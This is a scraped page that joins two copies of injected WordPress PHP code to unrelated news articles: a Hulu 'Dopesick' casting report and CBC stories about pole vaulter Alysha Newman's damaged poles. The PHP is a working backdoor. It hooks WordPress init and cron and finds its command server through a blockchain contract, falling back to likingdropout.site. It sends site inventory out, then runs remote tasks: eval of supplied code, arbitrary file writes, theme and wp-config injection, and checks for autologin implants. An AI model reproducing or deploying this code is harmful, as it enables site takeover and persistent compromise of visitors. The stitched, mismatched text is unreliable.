// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Hulu is adding a pair of TV vets to its forthcoming Dopesick adaptation, tapping Will Chase (Nashville) and Jaime Ray Newman (Eureka) to join the cast in recurring roles. Additionally, Andrea Frankle (The Purge, Cloak & Dagger) has also signed on to recur in the eight-episode limited series. Based on Beth Macy’s bestselling book and adapted by Danny Strong (Empire), Dopesick will take “a harrowing look into the epicenter of America’s struggle with opioid addiction, from a distressed Virginia mining community to the hallways of the DEA and the opulence of ‘one percenter’ Big Pharma Manhattan,” reads the series’ official description. Newman, who was most recently seen in Hulu’s Little Fires Everywhere, will play Kathe Sackler, a member of the Sackler family who works at Purdue Pharma. Chase will portray Michael Friedman, the head of marketing for Purdue Pharma. Lastly, Andrea Frankle will play Beth Sackler, the wife of Richard Sackler (Boardwalk Empire‘s Michael Stuhlbarg). Michael Keaton (Birdman) was one of Dopesick’s first big castings; he’ll play Samuel Finnix, a old-school physician who finds himself wrapped in Big Pharma’s deadly secret. Kaitlyn Dever (Unbelievable) will portray one of Finnix’s patients. Rounding out the cast are Peter Sarsgaard, Will Poulter, Rosario Dawson, John Hoogenakker, Philippa Soo, Jake McDorman, Ray McKinnon and Cleopatra Coleman. Barry Levinson (Rain Man), meanwhile, is attached to direct.
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"It might have made me a better athlete knowing I was able to handle the adversity and perform decently," the London, Ont., native told CBC Sports earlier this week before boarding a flight to Oregon ahead of the 44th Prefontaine Classic on Saturday (CBC, CBCSports.ca, 4 p.m. ET). "Like I tell everybody, the equipment doesn't make the athlete, the athlete makes the athlete."
On May 4, Newman used poles from a local club in Doha to place seventh at the season-opening Diamond League meet with a clearance of 4.54 metres, one day after eight of her $ 1,000 poles were snapped in transit. She remembers asking her fellow competitors to examine the loaned poles to make sure they bent properly and being mindful of not risking injury at the beginning of a new season.

Canadian pole vaulter Alysha Newman is thrilled after getting eight new poles. She anticipates feeling more comfortable after competing at the Prefontaine Classic on Saturday, but adds she won't be on all of them until later in the Diamond League track and field season. (Anson Henry/CBC Sports)
"I probably slept one or two hours the night before the competition," she said. "I had some mental problems on the [pole vault] runway earlier this season with getting on bigger poles and getting comfortable. I finally felt comfortable after the Commonwealth Games [in April] and then this happened.
"I guess God's testing me this year, making me as strong as possible for world championships [next year] and the [2020 Tokyo] Olympics."
Last Thursday, Newman drove to Buffalo to pick up a new series of poles shipped from the United States, courtesy of Canada's largest airline. They are similar to the Carbon Mystic vaulting pole the 23-year-old had used for five years, so it's now a matter of breaking them in.
Newman, who noted she "felt good" during the first and only practice with the new poles before Tuesday, isn't worried about a slightly upgraded pole affecting her performance.
"Any pole you keep bending one way," she said, "it's going to develop a soft side and mould to your hands and jumps. I'll probably feel a little more comfortable after this weekend [in Eugene] depending how many jumps I take. There are eight poles so I won't be on all of them until later in the season. It'll take time to get the feeling that they're not new poles anymore."
Newman lashed out at Air Canada shortly after discovering her damaged poles on May 3.
"I've put my trust into you as an airline to get my poles and equipment safely to my competitions, spending thousands of dollars weekly on flights and poles," Newman posted to her Twitter account. "This is how you treat people's stuff? It's a shame, you let me down."
Air Canada asked her on Twitter to send a booking reference so it could investigate further to which Newman responded: "DM you??? I'll get a sorry and then maybe a 200$ reimbursement? Let's see how you guys fix this! I'm excited to see how your [sic] going to replace $ 10,000, cause that's how much it will cost me."
"The second tweet was a little aggressive and I should have been more mature," Newman said this week. "Every time I go into Toronto, Air Canada knows me and takes care of me. It wasn't Air Canada's fault since they hire companies to handle baggage. It was definitely a lesson learned, and [both sides] learned."
Newman anticipated being nervous Saturday on the runway when putting up her hands to see how the new poles bend.
She's also excited about being part of a star-studded field of nine women, including reigning Olympic silver medallist Sandi Morris of the U.S., who won in Doha after clearing 4.84 on her final attempt. Great Britain's Holly Bradshaw (4.64) and American Katie Nageotte in a season-best 4.64 rounded out the podium.
Also competing is Katerina Stefanidi of Greece, the 2016 Olympic champion in Rio, New Zealand's Eliza McCartney and 36-year-old American Jenn Suhr. McCartney jumped 4.70 at the Commonwealth Games to earn a silver medal behind Newman, who matched her personal best of 4.75 to shatter the Games record of 4.62. Last year, the former hurdler and gymnast defeated Suhr, a former Olympic champion and U.S. record holder, at the Adidas Boost Boston Games.
"I'm really excited because I feel I've jumped really high. At the beginning of the season I pretty much matched how I finished last year," said Newman, who cleared 4.70 at the world indoor championships in March to improve upon her Canadian record. She jumped 4.75 at the Diamond League final last September in Brussels to match her outdoor national mark.
"I know the [Prefontaine Classic] record is 4.72 so I would be proud to clear that, and being in the top three is always a big thing. To put up high bars and show I deserve to be there would be a building block to my big goal of winning an Olympic gold medal."
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Canadian pole vaulter Alysha Newman received a brand new set of poles from Air Canada on Thursday morning, two weeks to the day her equipment was destroyed on a flight to Doha for a season-opening Diamond League meet.
Newman said the airline covered the cost of the new set of equipment — which, according to the London, Ont., native cost $ 10,000.
Newman was forced to compete with borrowed poles at the Doha meet, but after clearing 4.54 metres at Qatar Sports Club, the 23-year-old missed all three attempts at 4.64 to finish seventh in a field of nine.
Newman voiced her disappointment on Twitter back on May 3.
My heart is broken&so are all my poles thanks to <a href="https://twitter.com/AirCanada?ref_src=twsrc%5Etfw">@AirCanada</a> I've put my trust into you as an airline to get my poles & equipment safely to my competitions,spendings thousand of dollars weekly on flights and poles. This is how you treat people’s stuff? It’s shame, you let me down! <a href="https://t.co/IruaznZ2fK">pic.twitter.com/IruaznZ2fK</a>
—@alysha_newman94
But a week after Air Canada spokesperson Peter Fitzpatrick said the airline had reached out to Newman and arranged to deliver her new equipment, all seems well.
Alysha “My Poles Are New” man…<br><br>Canada’s <a href="https://twitter.com/alysha_newman94?ref_src=twsrc%5Etfw">@alysha_newman94</a> 🇨🇦 with her new poles that arrived today… <a href="https://twitter.com/CBCOlympics?ref_src=twsrc%5Etfw">@CBCOlympics</a> <a href="https://twitter.com/hashtag/polevaultnation?src=hash&ref_src=twsrc%5Etfw">#polevaultnation</a> <a href="https://twitter.com/hashtag/tracknation?src=hash&ref_src=twsrc%5Etfw">#tracknation</a> <a href="https://twitter.com/hashtag/iaaf?src=hash&ref_src=twsrc%5Etfw">#iaaf</a> <a href="https://twitter.com/AthleticsCanada?ref_src=twsrc%5Etfw">@AthleticsCanada</a> <a href="https://twitter.com/iaaforg?ref_src=twsrc%5Etfw">@iaaforg</a> <a href="https://t.co/X7m10B5KHq">pic.twitter.com/X7m10B5KHq</a>
—@ansonhenry
CBC Sports track and field analyst Anson Henry was with Newman in Bolton, Ont., when she received her poles. He said while Newman was very happy, expectations need to be tempered.
"It's going to take her a little time getting used to them," Henry said.
While Newman competed with borrowed poles delivered to the stadium from a local club in Qatar that are similar to the Carbon Mystic vaulting pole she had used for five years, her coach Doug Wood was back home keeping an eye on his phone while trying to coach at a high school meet in Mississauga, Ont.
"Alysha did great," he told CBC Sports. "She'll probably be frustrated that she didn't jump higher, but I'm really ecstatic. It was a very positive experience after a very negative start. She got three bars [4.24, 4.44, 4.54] on borrowed or loaned poles.
"Alysha is exceptionally talented at making adjustments mid-jump and I respect her competitive spirit. She's a different beast and goes to a place you can only dream of. I've been around her for years and I'm still amazed."
Newman had been using her old poles for five years, even winning Commonwealth Games gold with them back in April.
Doesn’t feel real but it’s so real !!😫 COMMONWEALTH CHAMPION & GAMES RECORD!!!🥇🇨🇦♥️ <a href="https://t.co/ainv7SZFxk">https://t.co/ainv7SZFxk</a> <a href="https://t.co/SMypArjNBs">pic.twitter.com/SMypArjNBs</a>
—@alysha_newman94
Wood said he spoke with Newman about the possibility of withdrawing from the Doha meet. He noted Newman is in a good place mentally, physically and technically and didn't want her to risk injury using different poles.
Newman, who matched her personal best of 4.75 to shatter the Games record of 4.62, forged ahead, first clearing 4.24 in Doha before needing all three tries to clear 4.44 and 4.54.
In her breakthrough 2017 season, Newman vaulted 4.60 or more 10 times and cleared 4.70 at the world indoor track and field championships in March.
Wood said Air Canada has been helpful with Newman in the past and put his faith in the airline doing "what is right" in this case.
"I would like to think [Air Canada] wasn't negligent, that it was an accident," he added.
The five-time All-American won't have to wait long before putting the new poles to good use as she's set to compete in the Prefontaine Classic in Eugene, Ore. on Friday May 25.
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Was it the poles, searing temperature or something else?
Whatever the case, Canadian pole vaulter Alysha Newman didn’t appear herself during Friday’s season-opening Diamond League meet in Doha, Qatar — where the temperature hovered around 34 C — but in fairness to the London, Ont. native, she wasn’t competing with her own poles.
After clearing 4.54 metres at Qatar Sports Club, the 23-year-old missed all three attempts at 4.64 to finish seventh in a field of nine, one day after Newman lashed out at Air Canada from her Twitter account for damaging her equipment.
“All I can say is I did my best !,” Newman posted to her Twitter account. “I’m upset because I felt so good but I’m proud to have set everything aside&was able to pull off 3 bars! I’m going to jump high this season, I feel it in me!There are so many people to thank after this one.”
